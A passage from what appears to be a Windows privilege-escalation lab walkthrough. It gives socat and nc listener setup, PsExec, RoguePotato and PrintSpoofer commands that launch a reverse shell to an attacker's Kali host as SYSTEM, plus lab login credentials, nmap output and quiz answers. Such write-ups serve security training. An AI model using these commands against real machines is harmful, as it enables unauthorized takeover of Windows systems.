       - It is useful if the payload on Windows is designed to connect to a specific port (here 135).
       - fork allows socat to accept more than one connection at the same time.  
          
     ---
          
     ### Practical difference
          
     | Property                                          | nc -lnvp 9999   | socat tcp-listen:135 → 9999    |
     | ------------------------------------------------- | --------------- | ------------------------------ |
     | Type of use                                       | Listener normal | Port forwarding + listener     |
     | Number of connections                             | One for each order       | multi(`fork`)                  |
     | Adjustable port payload                           | less            |Any port you want can be redirected |
     | Suitable for exploits that expect a specific port | less           |             excellent                    |
              
     
     
     
          
     </details>
     
     
     
     > ---
     > ### 📌 _Goal → Any incoming connection on Kali from port 135 will automatically be routed to the listener on port 9999 to facilitate reception of the reverse shell from Windows._
     > ---
     
     
     ## 2. Run PSExec64.exe
     
     
     ```ruby
     C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
     ```
     
     - **`C:\PrivEsc\PSExec64.exe`** : A tool from Sysinternals that we use to run commands as another user.
     - **`-i`** : `interactive session` (links to the current desktop session).
     - **`-u "nt authority\local service"`** : We operate as a Local Service account.
     - **`C:\PrivEsc\reverse.exe`** : reverse shell file
     
     
     > ---
     > ### 📌 _Goal → take a new shell, but as a Local Service (not Administrator)._
     > ---
     
     
     ## 3. run RoguePotato
     
     
     ```ruby
     C:\PrivEsc\RoguePotato.exe -r 10.10.10.10 -e "C:\PrivEsc\reverse.exe" -l 9999
     ```
     
     - **`RoguePotato`** : It is an Executable/Script that exploits a vulnerability in the Windows system.
     - **`-r 10.10.10.10`** : kali Ip that socat run on it
     - **`-e "C:\PrivEsc\reverse.exe"`** : file we want to run it as `SYSTEM`
     - **`-l 9999`** : port that RoguePotato will use it to internal redirect
     
     
     > ---
     > ### 📌 _Goal → RoguePotato exploits DCOM/RPC to request a token from the SYSTEM account and then uses it to run your program as SYSTEM._
     > ---
     

     > # **`Name one user privilege that allows this exploit to work.`**
     
     ```perl
     SeImpersonatePrivilege
     ```
     
     - **`This is the permission that allows the process to “borrow” the permissions of any token present on the system, and this is the basis that RoguePotato exploits.`**
     
     
     > # **`Name the other user privilege that allows this exploit to work.`**
     
     ```perl
     SeAssignPrimaryTokenPrivilege
     ```
     
     - **`This is the permission that allows a new token to be assigned to any process, and completes the process that RoguePotato uses to access the system.`**
             

     
      
      
      
      
      
  </details>


- <details>
      <summary>PrintSpoofer</summary>


     > There are 3 important levels of permissions in Windows:
     
     | **Account** | **Level** | **Description** |
     | ----------------------- | ----------------- | -------------------------------------- |
     | **Local Service** | Low privilege | Weak system service, very limited permissions
     | **Administrator** | High privilege | It can do almost everything, but not SYSTEM |
     | **NT AUTHORITY\SYSTEM** | Highest privilege | The most powerful account on Windows |
     
     > Here we will start from the Local Service account and go to SYSTEM.

    ## 1. Step 1 – Start a listener on Kali

    ```ruby
    nc -lvnp 4444
    ```


    ## 2. login as admin and open `cmd` as adminstrator and run this command:

    ```ruby
    C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
    ```

    - ``PSExec64.exe`` : tool to run a program with "Local Service" account privileges.
    - **`-i`** : interactive mode
    - **`-u "nt authority\local service"`** : Run the program as Local Service user.



    ![492265190-d54d52fc-3def-4f26-8509-a0a3a4d4daa1](https://hackmd.io/_uploads/rkr29iRjlg.png)


    > ---
    > ### 📌 _Goal → On the Kali terminal, you will receive the first reverse shell with Local Service privileges._
    > ---



    ## 3. Start a listener on Kali


    ```ruby
    nc -lvnp 4444
    ```




    ## 4.  Step 3 – Exploit PrintSpoofer


    ```ruby
    C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i
    ```

    - **`PrintSpoofer.exe`** : PrintSpoofer is an Exploit that exploits SeImpersonatePrivilege.
       - The Local Service usually has this privilege.
       - Result: We can circumvent Windows and upgrade to NT AUTHORITY\SYSTEM privileges.
    - **`-c "C:\PrivEsc\reverse.exe"`** : The command you want to run is as SYSTEM, and here we run reverse.exe.


    ![492266172-a39c6221-1434-498b-a65f-75a056c0b0df](https://hackmd.io/_uploads/rk5q5iRsel.png)




    ## 5. recive the shell with **`authority\system`**

    ![image](https://hackmd.io/_uploads/BJ8U5oCjxe.png)



      
      
      
      
      
      
  </details>





     
</details>




<details>
  <summary>Privilege Escalation Scripts</summary>
  
:::warning 

> Several tools have been written which help find potential privilege escalations on Windows. Four of these tools have been included on the Windows VM in the C:\PrivEsc directory:

```
winPEASany.exe

Seatbelt.exe

PowerUp.ps1

SharpUp.exe  

```  
::: 
  
</details>


---
    
    
    
    
:::info

> ### ``Connect to Target`` : 
> #### `if RDP srvice enabled`
> ```ruby
> xfreerdp3 /u:user /p:password321 /cert:ignore /v:10.10.103.25
> ```
> Or
> ```ruby
> rdesktop 10.10.103.25 -u user -p password321
> ```
> #### `if winrm service is enabled` :
> ```ruby
> evil-winrm -i 10.10.103.25 -u user -p 'password321'
> ```
> #### `if SMB service is enabled` :
> ```ruby
> smbclient //MACHINE_IP/C$ -U user
> ```
:::

:::warning
- <details>
     <summary>Nmap Scan</summary>



   ```ruby
   nmap -sC -sV  10.10.103.25 
   ```
  
  
  **`output`**
  
  ```ruby
  PORT     STATE SERVICE       VERSION
  135/tcp  open  msrpc         Microsoft Windows RPC
  139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
  445/tcp  open  microsoft-ds  Windows Server 2019 Standard Evaluation 17763 microsoft-ds
  3389/tcp open  ms-wbt-server Microsoft Terminal Services
  |_ssl-date: 2025-09-08T19:27:18+00:00; -2s from scanner time.
  | ssl-cert: Subject: commonName=WIN-QBA94KB3IOF
  | Not valid before: 2025-09-07T18:56:41
  |_Not valid after:  2026-03-09T18:56:41
  | rdp-ntlm-info: 
  |   Target_Name: WIN-QBA94KB3IOF
  |   NetBIOS_Domain_Name: WIN-QBA94KB3IOF
  |   NetBIOS_Computer_Name: WIN-QBA94KB3IOF
  |   DNS_Domain_Name: WIN-QBA94KB3IOF
  |   DNS_Computer_Name: WIN-QBA94KB3IOF
  |   Product_Version: 10.0.17763
  |_  System_Time: 2025-09-08T19:27:08+00:00
  5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
  |_http-title: Not Found
  |_http-server-header: Microsoft-HTTPAPI/2.0
  Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
  
  Host script results:
  | smb-security-mode: 
  |   account_used: guest
  |   authentication_level: user
  |   challenge_response: supported
  |_  message_signing: disabled (dangerous, but default)
  |_clock-skew: mean: 1h23m59s, deviation: 3h07m51s, median: -1s
  | smb-os-discovery: 
  |   OS: Windows Server 2019 Standard Evaluation 17763 (Windows Server 2019 Standard Evaluation 6.3)
  |   Computer name: WIN-QBA94KB3IOF
  |   NetBIOS computer name: WIN-QBA94KB3IOF\x00
  |   Workgroup: WORKGROUP\x00
  |_  System time: 2025-09-08T12:27:11-07:00
  | smb2-security-mode: 
  |   3:1:1: 
  |_    Message signing enabled but not required
  | smb2-time: 
  |   date: 2025-09-08T19:27:12
  |_  start_date: N/A
  
  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 256.26 seconds
  ```
  
  - **`3389/tcp open  ms-wbt-server`** : That is mean `RDP service` is work
  - **`5985/tcp open  http`** : That is mean `WinRM HTTP service` is work
  - **`445/tcp  open  microsoft-ds`** : That is mean `SMB service` is work


     
  </details>
:::
    
    
    


